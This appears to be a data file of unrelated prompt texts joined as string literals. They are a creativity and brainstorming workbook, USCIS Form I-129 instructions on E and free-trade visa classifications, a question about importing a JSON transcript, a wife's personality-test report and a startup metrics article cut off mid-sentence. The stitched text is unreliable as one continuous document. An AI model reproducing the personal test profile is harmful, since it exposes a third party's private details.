characteristics:\n●Density of the creative effort ●Incredible curiosity\n●A certain obsession\n●A monomaniac tendency\n●A durable commitment\n●A sense of urgency\n●Extraordinary courage\n●The need to surpass oneself\n●And of course a certain amount of talent\nThese creative personalities can serve as examples and sources of inspiration. Through their personal history, their approach to work and their creations, we can learn more about ways to implement our creativity on a daily basis.\nRecent research postulates that innate talent is less of a determining factor than their capacity to regularly question their own habits, practices and successes.\nIllustration by Olivier Massa © Yellow Ideas\n 8\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\nSERENDIPITY\nDiscoveries and inventions are not always the exclusive outcome of intelligence and human creativity. Numerous products, technical procedures and scientific principles have been discovered by chance or by error. This phenomenon of the creative accident is known as\n« serendipity »\nor the art of making fortuitous, unexpected and useful discoveries,\nby accident or by error.\nHere are some well-known examples : the principle of making champagne (Dom Pérignon), pasteurisation (L. Pasteur), penicillin (A. Fleming), X-rays (W. Röntgen), the vulcanisation of rubber (Ch. Goodyear), post-its (A. Fry at 3M), as well as Coca-Cola, cornflakes, Zyban and Viagra.\nMuch like Christopher Columbus, who discovered America while looking for the western route to the Indies, these products were discovered quite unexpectedly. They are serendipitous accidents.\nFor managers, the phenomenon of serendipity is interesting for a host of reasons.\n1. First of all, it reminds us that we are surrounded by opportunities that we are unaware of. And it is not as if they don’t exist, simply because we don’t see them...\n2. Errors and unforeseen circumstances can be important sources of progress. They allow us to question habits, certainties and the usual norms and standards.\n3. Innovation can happen anywhere, and anyone within the company can be a source of change.\n4. Trying to achieve the perfect plan or a voluntary optimisation of all the management parameters is an illusion. Reality always takes the upper hand on managerial desires and is able to introduce incredible bifurcations in a market or industry. Serendipity is a random phenomenon. It is not subjected to human desires. It has given rise to hundreds of techniques, products and ideas without which life would be nothing like it is today!\nThe phenomenon of serendipity invites us to be surprised.\n 9\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nPARADIGM\nA paradigm is the ensemble of knowledge, values, certainties, beliefs, practices, habits and taboos\nof a human community with regard to a specific field at a given moment during its history.\nThis ensemble, which makes up a school of thought, a mental model, is naturally accepted, even unconsciously integrated, and is never questioned.\nIn the past, those people who chose to question a paradigm were often considered to be heretics. Often to be creative is to play with a paradigm, to question it.\nSome examples of paradigms:\nIn Antiquity the world was considered to be flat.\nBefore Galileo, Earth was the centre of the Universe.\nIn the nineteenth century, science was « the » source of progress.\nUntil a few years ago, washing powder had to really wash whiter than white.\nCars have wheels.\nBefore British inventor James Dyson vacuum cleaner “obviously” had to have a bag.\n 10\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nTHE ART OF CULTIVATING ONE’S CURIOSITY\nWho was the idiot who said that curiosity killed the cat ? If there is one crucial creative quality, it has to be curiosity. Any person who is fuelled by a desire to understand and learn, as indicated by the etymology of the Latin word curiosus, which signifies care, desire to know, is curious.\nAlbert Einstein proudly declared: "I do not have any particular talents. I am merely passionately curious." In order to valorise our creative potential, we should not hesitate to cultivate the passionate curiosity of Columbus, Marie Curie, Louis Pasteur or even Picasso. Creative people like to look elsewhere, will search deeper, and will question certainties.\nCreative people will not accept half-answers or put-offs. A creative mind will continue to look for light, where others are happy to settle for shadows. There can be no passion for science, no quest for knowledge, no desire of discovery without burning curiosity.\nAdults are often surprised, sometimes even irritated by a child’s curiosity. It is true that children are indefatigable explorers: don’t they naturally look towards the neighbour’s garden ? Don\'t they open the toy boxes of their brothers and sisters and then walk away after having found what they were looking for ? Children are intrigued by the unknown. They capture it with a magic toy: the interrogative pronoun why.\nAdults on the other hand face the challenge of preserving the curiosity of the child that they have deep inside. We are all invested with a natural curiosity, which pushes us to research the why and how of things. So let\'s accept this and turn it into a personal asset.\n 11\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nHOW TO FEED YOUR CURIOSITY?\n1. Rather paradoxically, a curious mind usually is encouraged by one’s feet! Move, get out of your house, and go take a look elsewhere. Go see what is happening in other fields, disciplines, organisations and countries, what people are thinking there. Curiosity is, above all, a passion for what is elsewhere!\n2. Ask and re-ask questions as long as the answers are not satisfactory or clearly demonstrated! Do not hesitate to wonder about the why of the why!\n3. Be enraptured about things that you did not know yet - and that you are yet to discover!\n4. Do things that you have never done before! Experiment, discover, play. Connect with reality!\n5. Child specialists affirm that one of the reasons why certain children display a lack of curiosity is due to the lack of curiosity of their parents. If a child cannot discuss its encounters and discoveries with its parents, its enthusiasm will rapidly wane. So, surround yourself with friends and colleagues who are just as curious as you are, and will share your questions and your passions. Nothing will harm a person\'s curiosity more than people who are not curious.\n6. Learning a foreign language is a natural source of amazement: the discovery of an unknown vocabulary and grammar will naturally lead to a new view of one’s own language and culture. Those who have the opportunity – and above all, the enormous courage and perseverance – to learn Chinese or Japanese will tell you how this learning process enriched them as regards their understanding of their own way of thinking. But there is no need to learn Cantonese or Mandarin to experience all this: a few English, Spanish or German lessons will already awaken your curiosity and make you ask some pertinent questions.\n 12\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\n10FUNDAMENTAL CREATIVE ATTITUDES To practice freewheeling:\nTo suspend critical judgment:\nTo have a “How can I?” attitude:\nTo separate divergence and convergence: To use your imagination:\nTo be actively curious:\nTo challenge the perception:\nTo take constrains as a chance:\nTo imagine the impossible:\nTo be open for the future:\n 13\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nTHE EFFICIENCY OF THE BRAINSTORMING!\nDuring a creative meeting, one should try to avoid certain givens. The saying goes : « It goes\nwithout saying, but is goes even better when you say it ». So let’s say it!\nTHE 5 RULES OF BRAINSTORMING:\n\uf06c\n1. 2. 3. 4. 5.\nTo go for quantity of ideas : quantity breeds quality\nTo suspend the critical judgment.\nTo hitchhike on each-others ideas.\nTo be audacious and to use fantasy and imagination\nTo separate divergence and convergence, and to save enough time for the convergence.\nAvoid questioning the method proposed by the person running the meeting. He or she has chosen an approach; let him or her roll out the entire process. You may choose to go see him or her after the meeting to discuss methods.\n\uf06c Avoid asking questions that are unrelated to the subject of the meeting, do not initiate a polemic, do not launch into subjects that should be discussed during a different meeting.\n\uf06c Try to avoid interrupting the brainstorming process, regardless of the pretext. Ideas should be generated continuously, uninterruptedly.\n\uf06c Try to avoid judging your own ideas or those of others. At this stage, all ideas are acceptable. The assessment, selection and decision will come at a later stage.\n 14\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nHOW TO BECOME A\nBRILLIANT BRAINSTORMER?\nIt is relatively easy to take part in a brainstorm session and to contribute to its successful outcome. All you need to do is respect a number of essential points. Do not hesitate to share this document with participants in the next brainstorm session that you are setting up.\n1. Be 100% available, so that you can fully concentrate on the proposed creative thinking process. Switch off your mobile phone, blackberry and laptop. They should remain switched off for the duration of the meeting.\n2. Contribute unreservedly to the production of ideas. All you need to do is step in and express your ideas – every single one of them – regarding the question at hand in the most spontaneous manner possible.\n3. Express your ideas with as specific and detailed as possible. General, generic and vague ideas are public enemy no.1 when it comes to a brainstorm. The nuances and the details will help spice up the new ideas and make them more meaningful.\n4. Abstain from any form of judgment, criticism and do not comment on ideas for the duration of the meeting. Also try to avoid any form of auto-censorship! Express and write down every single idea that crops up.\n5. All that matters here is the generation of ideas. The quantity of ideas assures the quality of the ideas ! Do not hesitate to use a yellow card in case of criticism!\n6. Use the ideas of your colleagues as a launching pad. One idea will inspire another, a proposal that may seem crazy at first glance may lead to a rather promising solution. Look at an idea from every possible angle.\n7. Be audacious, imaginative, use your fantasy. Push the boundaries, go beyond your reference frame, and do away with any pre-established ideas. Go on, get on with it. A creative brainstorm is designed to provide original, unexpected, surprising solutions. Your imagination is the limit.\n8. Explore all the possible routes, without exception.\n 15\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nHOW TO BE AN\nEFFICIENT FACILITATOR?\nFacilitating a brainstorm session is truly a specific competence. It requires both rigour and flexibility, authority and empathy, creativity and a method.\n1. Carefully prepare the creative meeting with the project manager. Clarify three crucial questions:\n- What is the current situation?\n- What is the desired situation?\n- What are the obstacles preventing everyone from achieving the desired situation?\n2. Establish a precise agenda for the meeting in function of the time available.\nAssure a good balance between the divergent phase – the production of ideas - and the convergent phase – the assessment of ideas and the elaboration of solutions.\n3. Carefully choose the participants, they and they alone will provide the creative ideas. Make sure that there is a good balance between specialists, generalists and ‘candid’ personalities.\n4. Clearly explain the goal, the process and the agenda of the creative meeting.\nFirmly insist on the importance of the operational rules, and the fact that they should be respected throughout. Especially the « absence of a critical judgment » during the divergent phase is important.\n5. Only the facilitator is in charge of facilitating the meeting. Thus you cannot propose any ideas or suggestions – not a single one – during the meeting. Concentrate exclusively on helping your group, and make sure that everybody is participating actively.\n6. Read ideas out loud so that participants can respond to the ideas of their colleagues. Above all, do not comment or judge the quality or the originality of the ideas yourself.\n7. Ask participants to explore new routes by using creativity techniques such as the juice Press, the famous people technique, the lettering technique, the exotic animals technique, the versus technique or the crea-trends technique.\n8. Keep an eye on your watch and follow the agenda flexibly.\n 16\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n4 STAGES OF A BRAI NSTORMING\n1. CHALLENGE YOUR QUESTION\n2. LIBERATE ALL IDEAS\n3. EXPLORE NEW WORLDS \n4. SELECT AUDACIOUSLY' +'Part 2. Petition Only Required for an Alien in the United States to Change Status or Extend Stay\nThe following classifications listed in this Part 2. do not require a petition for new employment if the alien is outside the\nUnited States.\nUse this Form I-129 when the beneficiary is physically present in the United States and a change of status, concurrent\nemployment, or an extension of stay is needed. Note: The beneficiary must be maintaining lawful status in the United\nStates to remain eligible for the benefit sought.\nE-1 Nonimmigrants\nThe E-1 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation, and\nwho are coming to the United States to carry on substantial trade principally between the United States and the\nalien’s country of nationality. The Department of State maintains a list of countries with qualifying treaties. See\nhttps://travel.state.gov/content/visas/en/fees/treaty.html for a list of qualifying countries.\nWrite E-1 in the classification block.\nQualifying trade involves the commercial exchange of goods or services in the international market place. Substantial\ntrade is an amount of trade sufficient to ensure continuous flow of international trade items between the United States and\nthe treaty country. Principal trade exists when more than 50 percent of the E-1’s total volume of international trade is\nconducted between United States and the treaty country.\nAn employee of an E-1 treaty trader who possesses the same nationality as the E-1 employer may also be classified as E-1.\nThe employee must principally and primarily perform executive or supervisory duties or possess special qualifications that\nare essential to the successful or efficient operation of the enterprise. The E-1 employee may perform work for the parent\ntreaty organization or enterprise, or any subsidiary of the parent organization or enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-1 treaty trader. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial Trade. Evidence of substantial trade may include, but is not limited to, copies of three or more of the\nfollowing: bills of lading, customs receipts, letter of credit, trade brochures, purchase orders, insurance papers,\ndocumenting commodities imported, carrier inventories, and/or sales contracts, or other probative documentation\nestablishing the requisite substantial trade; and\n3. For E-1 employees only: Executive or Supervisory Duties or special qualification essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nE-2 Nonimmigrants\nThe E-2 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation,\nand who are coming to the United States to develop and direct the operations of an enterprise in which the alien\nhas invested or is actively in the process of investing a substantial amount of capital. The Department of State\nmaintains a list of countries with qualifying treaties. See https://travel.state.gov/content/visas/en/fees/treaty.html\nfor a list of qualifying countries.\nWrite E-2 in the classification block.\nAn E-2 must demonstrate possession and control of capital and the ability to develop and direct the investment enterprise\nand the ability to develop and direct the investment enterprise. Capital in the process of being invested or that has been\ninvested must be placed at risk and be irrevocably committed to the enterprise. The enterprise must be a real, active, and\noperating commercial or entrepreneurial undertaking that produces services or goods for profit. The investment must be\nsubstantial and the funds must not have been obtained, directly or indirectly, from criminal activity. The enterprise must\nbe more than marginal.\nForm I-129 Instructions 11/02/22 Page 24 of 30\nAn employee of an E-2 who possesses the same nationality as the E-2 employer may also be classified as E-2. The\nemployee must principally and primarily perform executive or supervisory duties or possess special qualifications that are\nessential to the successful or efficient operation of the enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-2 treaty investor. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial investment. Such evidence may include, but is not limited to, copies of partnership agreements (with a\nstatement on proportionate ownership), articles of incorporation, payments for the rental of business premises or office\nequipment, business licenses, stock certificates, office inventories (goods and equipment purchased for the business),\ninsurance appraisals, annual reports, net worth statements from certified profession accountants, advertising invoices,\nbusiness bank accounts containing funds for routine operations, funds held in escrow; and\n3. For E-2 employees only: Executive or Supervisory Duties or special qualifications essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nAdvice on E-1 and E-2 petitions\nYou must obtain approval from USCIS when substantive changes occur in the terms or conditions of the status of the\ntreaty trader, investor, or E employee. To do this, file Form I-129 and E-1/E-2 Classification Supplement, with fee, and\nrequest an extension of stay.\nYou may seek advice from USCIS to determine whether changes in the terms or conditions in E status are substantive.\nTo obtain advice, file Form I-129 and E-1/E-2 Classification Supplement, with fee. Answer “Yes” to the question on the\nSupplement which asks whether you are seeking advice.\nFree Trade Nonimmigrants (H-1B1 and TNs)\nThe Free Trade Nonimmigrant classifications (H-1B1 and TN) are temporary nonimmigrant classifications based on the\nprovisions of a Free Trade Agreement between the United States and the alien’s country of citizenship. Currently there are\ntwo stand-alone Free Trade Nonimmigrant classifications available: TN and H-1B1.\nThe TN nonimmigrant classification is for aliens who are citizens of Canada or Mexico covered by the North\nAmerican Free Trade Agreement coming to the United States to engage temporarily in business activities at a\nprofessional level. Depending on the specific type of business activity, a TN must at least have a bachelor’s degree\nor, in certain limited instances, other appropriate credentials which demonstrate status as a professional. The\nacceptable types of TN business activities at a professional level are listed at 8 CFR 214.6(c).\nWrite TN in the classification block.\nDocumentary evidence must be submitted if the applicant is a citizen of Canada and is currently outside the United States\nOR if the applicant is a citizen of Canada or Mexico and is requesting a “Change of Status” to TN. The applicant must\nsubmit evidence demonstrating that he or she will be engaged in business activities at a professional level and that the\napplicant possesses the requisite professional qualifications. Acceptable evidence may include, but is not limited to, the\nfollowing:\n1. A letter from the employer stating the activity the beneficiary will be engaged in, the anticipated length of stay, and\nthe arrangements for remuneration;\n2. A copy of the beneficiary’s last two pay stubs and W-2 if employed in the United States; and\n3. Evidence the beneficiary meets the educational and/or licensing requirements for the profession or occupation.\nNOTE: While a petition is not required, citizens of Canada who are outside the United States may use this form to apply\nfor TN status.\nIf the applicant is a citizen of Canada or Mexico and is requesting an “Extension of Stay” in TN classification, submit\nevidence, such as a letter, describing the continuing employment and evidence of the beneficiary’s continued valid\nlicensing (if required by the profession and/or the state).\nForm I-129 Instructions 11/02/22 Page 25 of 30\nThe H-1B1 classification is for aliens from Chile or Singapore coming to the United States temporarily to perform\nservices in a specialty occupation. See the instructions for H-1B nonimmigrants for the definition of “specialty\noccupation.”\nWrite H-1B1 in the classification block.\nSubmit all evidence listed in the H Classification Supplement to Form I-129 under Section 1., Complete This Section If\nFiling for H-1B Classification, as well as evidence listed in the section of the instructions for H-1B specialty occupation\nclassification. The following supplements must be filed with the petition:\n1. Nonimmigrant Classification Based on a Trade Agreement Supplement; and\n2. H Classification Supplement; and\n3. H-1B Data Collection and Filing Fee Exemption Supplement.\nIf requesting an “Extension of Stay,” submit evidence, such as a letter describing the continuing employment, as well\nas evidence of the beneficiary’s continued valid licensing (if required by the profession and/or the state). Also, if this\nextension is the 6th consecutive extension requested for this beneficiary, a statement to that effect should be provided.\nChange of Status\nA petition for change of status to one of the classifications described in this section must be submitted with the initial\nevidence detailed above and with the initial evidence required by the separate instructions for all petitions involving\nchange of status.\nExtension of Stay\nA petition requesting an extension of stay for an employee in the United States must be filed with a copy of the\nbeneficiary’s Form I-94, Nonimmigrant Arrival/Departure Record, and a letter from the petitioner explaining the reasons\nfor the extension. Consult the regulations that relate to the specific nonimmigrant classification sought.\nNOTE: Dependent family members should use Form I-539 to file for an extension of stay.\nA nonimmigrant who must have a passport to be admitted must maintain a valid passport during his or her entire stay. If\na required passport is not valid, include a full explanation with your petition. A petition requesting an extension must be\nfiled with:\n1. The appropriate supplements for the classification;\n2. A letter describing the proffered employment;\n3. A copy of the beneficiary’s last 2 pay stubs and most recent W-2, if applicable;\n4. Evidence the beneficiary continues to meet the licensing requirements for the profession or occupation, if applicable;\n5. If requesting an extension of H-1B status (including H1B1 Chile/Singapore), evidence that the Department of Labor\nhas certified a labor condition application for the specialty occupation which is valid for the period of time requested;\n6. If requesting H-2A status, submit a U.S. Department of Labor approved temporary labor certification valid for\nthe dates of the extension, unless it is based on a continuation of previously approved employment due to exigent\ncircumstances and the extension will last no longer than 2 weeks;\n7. If requesting H-2B status, submit a U.S. Department of Labor approved temporary labor certification valid for the\ndates of extension.' +'Thanks! Will this script support the import of the (partial) JSON below? \n\n{\n "name": "Learning\\_math\\_early\\_its\\_big.mp4",\n "transcript": [\n {\n "speaker": "",\n "start\\_time": 6.48,\n "end\\_time": 11.69,\n "words": [\n {\n "text": ">>",\n "start\\_time": 6.48,\n "end\\_time": 6.52,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " Anton\'s",\n "start\\_time": 6.68,\n "end\\_time": 6.95,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " head",\n "start\\_time": 7.27,\n "end\\_time": 7.39,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " next",\n "start\\_time": 7.83,\n "end\\_time": 8.09,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " to",\n "start\\_time": 8.14,\n "end\\_time": 8.32,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " this",\n "start\\_time": 8.32,\n "end\\_time": 8.63,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " one\'s",\n "start\\_time": 8.63,\n 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"highlight": false,\n "strikethrough": false\n },\n {\n "text": " Teeth.",\n "start\\_time": 16.12,\n "end\\_time": 16.23,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 16.23,\n "end\\_time": 18.0,\n "words": [\n {\n "text": ">>",\n "start\\_time": 16.23,\n "end\\_time": 16.4,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " Let\'s",\n "start\\_time": 16.55,\n "end\\_time": 16.74,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " see",\n "start\\_time": 16.9,\n "end\\_time": 17.23,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " this.",\n "start\\_time": 17.88,\n "end\\_time": 18.0,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 20.38,\n "end\\_time": 20.61,\n "words": [\n {\n "text": ">>",\n "start\\_time": 20.38,\n "end\\_time": 20.54,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " Wow.",\n "start\\_time": 20.54,\n "end\\_time": 20.61,\n "highlight": false,\n "strikethrough": false\n }\n ]\n },\n {\n "speaker": "",\n "start\\_time": 20.61,\n "end\\_time": 21.09,\n "words": [\n {\n "text": ">>",\n "start\\_time": 20.61,\n "end\\_time": 20.64,\n "highlight": false,\n "strikethrough": false\n },\n {\n "text": " A",\n "start\\_time": 20.79,\n "end\\_time": 20.82,\n "highlight": false,\n "strikethrough": false' +'these are the personality test results of my wife: You are most like The Impresario\nImpresarios love to entertain, engage socially, and facilitate great experiences with others. They tend to be\noutgoing, inspiring, energetic and adaptable.\nImpresarios love to entertain, engage socially, and facilitate great experiences with others.\nTypical Impresarios love being at the center of social activity, equally comfortable with close friends or new acquaintances. Impresarios\ntend to be charming, friendly, and highly energetic. They are skilled at playing the role of emcee or facilitator in groups. They tend to go\nwith the flow and operate more on feel and instinct than analysis. They connect well with others but aren\'t necessarily motivated by a\ndeep desire to tend to and support other people\'s needs. Impresarios are quite independent and can tend to “march to the beat of their\nown drum.” It’s living in the moment—their own moment—that satisfies them.\nOther distinguishing characteristics include the ability to balance spontaneity and good organization, which allows them to orchestrate\npeople and experiences in an effective way. Impresarios have a knack for understanding what makes people tick and tend to be capable\nat influencing, persuading, and inspiring others.\nThey tend to thrive on pleasing others and being liked and admired. While this can enhance their connections to others, they should be\ncareful not to lose their own sense of self in seeking validation externally. Additionally, while self-confidence is a strong suit, Impresarios\ncan have a tendency to overstimulate themselves and can crash, so they should be aware of the need to maintain balance.\nImpresario Talents\nBeing social and engaging, yet independent\nOrchestrating compelling experiences\nInfluencing, persuading, and inspiring others\nBeing bold and adventurous\nFacilitating large groups of people\nImpresario Growth Needs\nTaking time to pause and think things through\nMaking better use of routines and set practices\nNot losing themselves in seeking validation externally\nMonitoring their energy levels to avoid burnout\n©2023 PRIOS, LLC Page 2 of 9\nYou also have attributes of the Entertainer and the Adventurer\nThe Entertainer\nEntertainers are driven by creating experiences and engaging with the world and particularly the people in it. They\ntend to be outgoing, original, agile, energetic, joyful and lighthearted.\nThe Adventurer\nAdventurers are motivated by taking part in fun, exciting, and adventurous activities and pursuits. They tend to be\nexcitement-seeking, fun-loving, energetic, independent, open to new experiences, and spontaneous.\nHere are the archetypes you are least like\nThe Enforcer\nEnforcers are driven to engage with the world through reliance on standards, rules, traditions. They tend to be direct\nand straightforward, traditional and reliable, with high standards for themselves and others.\nThe Investigator\nInvestigators are driven to research and analyze information and data to build knowledge and understanding. They\ntend to be logical and analytical, rigorous, and more reserved and thoughtful than outgoing and expressive.\n©2023 PRIOS, LLC Page 3 of 9\nCOGNITIVE ORIENTATION\nHow You Prefer to Think\nCreative\nYou are drawn toward creative thinking and enjoy new and\nunfamiliar experiences, though you may rely on established\nrules and traditions to guide you.\nOriginal 85%\nCurious 87%\nNon-Conforming 29%\nDeliberative\nYou tend to rely on logic yet are more spontaneous than\nmethodical, and are inclined to trust your instincts when\nreaching decisions and making choices.\nLogical 64%\nSystematic 2%\nImpartial 38%\nDetailed and Reliable\nYou tend to be precise and detail-focused, while being more\nspontaneous and less scheduled and orderly in work and\nplanning.\nOrganized 17%\nDetail-Oriented 99%\nDependable 51%\nConceptual\nYou have a preference for straightforward, concrete thinking\nover abstract and philosophical thinking.\nPractical\nYou have a preference to focus on direct, real-world\nconsequences in making decisions and choices.\n©2023 PRIOS, LLC Page 4 of 9\n69%\nHIGH\n21%\nLOW\n69%\nHIGH\n7%\nVERY LOW\n98%\nVERY HIGH\nINTERPERSONAL ORIENTATION\nHow You Engage with Others\nExtraverted\nYou tend to be engaging and outgoing, thrive at the epicenter of\nsocial activities, and are socially bold and adventurous.\nGregarious 83%\nEngaging 74%\nAdventurous 99%\nTough\nYou are willing to debate and fight for your ideas, with a general\ntendency to be straightforward and direct rather than diplomatic\nand subtle in your style.\nFeisty 90%\nCritical 45%\nDirect 44%\nNurturing\nYou have a strong desire to prioritize and support others\' needs,\nare fascinated by their behaviors and tendencies, with\nmoderate sensitivity to their emotions and feelings in the\nmoment.\nHelpful 82%\nEmpathetic 52%\nPerson-Oriented 78%\nLeadership\nYou have a strong desire to motivate people to achieve shared\ngoals and objectives, and are generally willing to take charge in\ngroups when necessary.\nTaking Charge 54%\nInspiring 65%\nDemanding 59%\nHumorous\nYou tend to be more joyful and lighthearted than serious and\nintense.\n©2023 PRIOS, LLC Page 5 of 9\n94%\nVERY HIGH\n66%\nHIGH\n74%\nHIGH\n60%\nHIGH\n76%\nHIGH\nMOTIVATIONAL ORIENTATION\nHow You Apply Yourself\nComposed\nYou tend to be resilient and not easily discouraged, though can\nlose your composure and get frustrated easily.\nCalm 6%\nConfident 64%\nPoised 2%\nAutonomous\nYou tend to be self-motivated, hold yourself accountable to the\noutcomes you experience, though have a desire for more\ndirection and clarity when achieving tasks and goals.\nIndependent 35%\nSelf-Accountable 93%\nInternally Motivated 89%\nFlexible\nYou tend to embrace change and uncertainty, are generally\ncomfortable shifting the roles you play in difference\ncircumstances, and are interested in your own growth and\ndevelopment.\nAdaptable 68%\nAgile 56%\nGrowth-Seeking 52%\nDetermined\nYou work hard to go after ambitious goals, tend to take action to\nseize opportunities and solve problems you confront, though\nmay be distractible and don\'t always push through to finish what\nyou start.\nPersistent 10%\nDriven 72%\nProactive 85%\n©2023 PRIOS, LLC Page 6 of 9\n9%\nVERY LOW\n84%\nVERY HIGH\n63%\nHIGH\n50%\nMODERATE\nHumble\nYou like to explore and understand perspectives different from\nyour own, tend to be moderately receptive to critical feedback,\nthough may value projecting self-confidence over modesty.\nReceptive to Criticism 52%\nOpen-Minded 98%\nModest 4%\nEnergetic\nYou have high levels of stamina, enthusiasm, and energy in\nwork and life.\nStatus-Seeking\nYou have a preference to please, “keep up” appearances, be\nliked, admired, and respected.\n©2023 PRIOS, LLC Page 7 of 9\n42%\nMODERATE\n75%\nHIGH\n96%\nVERY HIGH\nHow you respond in different situations:\nNow that you\'ve reviewed your detailed results, "You" in Context gives insight into how the combination of your attributes may play out in\na variety of work and life situations\nWhen interacting with others, you...\n...Are outgoing, socially bold, and stand out in the crowd as\nunique and creative\n...Tend to be fun, joyful, and lighthearted\n...Support others with empathy and compassion, while also\ntrying not to sugarcoat your honest view of things\n...Are willing to speak your mind, but are always aware of how\nothers perceive it\nAs a leader, you...\n...Demand and hold others accountable for results\n...Argue for your beliefs and say what you think\n...Call out underperformers whenever justified\n...Take initiative and instigate change\n...Are generally open to input from others, though prefer to make\nyour own calls\n...Balance when to express vulnerability or confidence and\ncertainty depending on the circumstance\n...May struggle to know when to follow rather than lead\nWhen planning, you...\n...Anticipate and plan for change by creating good contingency\nplans\n...Find that change is best viewed as an opportunity to create\nmore structure and clarity, not a problem to be avoided\n...Develop clear milestones and objectives\n...Track progress diligently against targets\n...Focus on completing tasks early\n...Think more concretely and literally\n...Create plans by scheduling, mapping out details, and being\nneat and orderly\nWhen solving problems, you...\n...Gravitate toward new, innovative approaches\n...Are comfortable finding solutions without much direction or\nguidance\n...Are quick to put structure and precision around vague ideas\n...Generate novel solutions by ignoring rules and traditions\n...Like using imagination and intuition\n...Are comfortable exploring the unknown\n©2023 PRIOS, LLC Page 8 of 9\nWhen setting goals, you...\n...Like to pursue novel ideas and plans, though sometimes don\'t\ncomplete them\n...Prefer to go after your own goals rather than following others\n...Are comfortable adapting to your circumstances, and aren\'t\noverly concerned about finishing everything you start\nOn a team, you...\n...Voice your thoughts directly\n...Enjoy a good debate, win, lose, or draw\n...Are comfortable sharing your feelings and encourage\nteammates to safely share their own thoughts and feelings\n...Enjoy the synergy of working as a team, but are also willing to\ngo your own way\n...Confront challenges directly and push back on attempts to\nlower the bar\n...Make a strong effort to strike a balance between focusing on\nyour own work and pitching in to help the team\nUnder stress, you...\n...May become reactive or irritable\n...Are highly perceptive of problems and risks around you\n...Can find value in turning to others for advice rather than going\nit alone\n...Tend to wear emotions on your sleeve\nWhen learning, you...\n...May prefer subjects that are intuitive rather than highly\nanalytical\n...Prefer an organized curriculum and following a clear schedule\n...Take your deadlines and commitments seriously\n...Like engaging with others on new insights and ideas\n...Generally like exploring new ideas and areas of interest\n...Like subjects that are straightforward, technical, and practical\n...Like to participate in the discussion\n...Are interested in creative topics where your curiosity and\noriginality can thrive\n...Have good stamina and endurance' +'[\nIn recent years there have been some great resources on metrics for startups, in particular Dave McClures metrics for pirates and Andrew Chens articles on user acquisition and KissMetrics article on conversion. Over the last few products I worked on I synthesized this into a core model that I found very helpful. Here are some questions I had difficulty understanding early on that led to my approach:\n\\* You notice that your power users all have taken some action (e.g. filled out their profile) so you try to encourage all users to fill out their profile to get them more hooked on your product. Does this actually help?\n\\* You have 24 hours of downtime, the next day you come back up your traffic is down. Will this have a long-term effect you need to worry about?\n\\* You have 100K uniques per day and so does your competitor, but are these 100K people who come back every day or 700K people who each come once per week? Does it matter?\n\\* You turn on a new advertising campaign and see your # of unique visitors per day start to increase, you assume that this will continue increasing so long as you keep the ads running, right?\n\\* You start having email deliverability problems (or Facebook turns off notifications) so you can’t notify users of new activity on the site. The # of unique visitors decreases slightly but you’re not too worried, should you be?\nWhat follows is a detailed how-to for analyzing your product’s customers.\nThe key insight is this: the most important thing is how many unique customers you have, and by implication, knowing what causes any change in this number. And by customers I don’t mean visitors or pageviews, I mean the subset of those people that will be long-term repeat users. Knowing how to measure those customers is the key concept that connects your pageviews, visitors, conversion funnel, retention %s, and all those other numbers you’re collecting and not quite sure how to make sense of. This isthe heart of your products and business’s success.\nHere is the simple model:\n\nThe first step is to figure out how many new customers you add each day and to do this you have to define what makes a customer.\nPeople seeing your product for the first time go through a series of first-time-visitor steps and then start using your product (landing page, registration, inviting their friends, etc). People usually refer to this series of steps as their new user funnel and the end of the funnel is usually some step like uploading their first photo or completing the first level in your game—some core action for your product. But where should your funnel end? This is actually a critical question that a lot of people get wrong; they misdefine the point of transition from a new visitor to an actual customer.\nHere is how to figure it out. First, hopefully you’re already measuring the conversion from each step in the funnel to the next step: 50% of people who see the landing page click the sign up link, 60% of people who start signing up complete the process, etc. Ask yourself, when someone has been using your product for awhile, what count as a meaningful return visit? Say you have a photo sharing website. If someone returns but only looks at one page and doesn’t click anything, that probably doesn’t count. But if they come and get sucked in and view 5+ unique photos, I’d say that counts. Or if they view one photo but they comment on it, that probably counts too. Once you’ve defined a 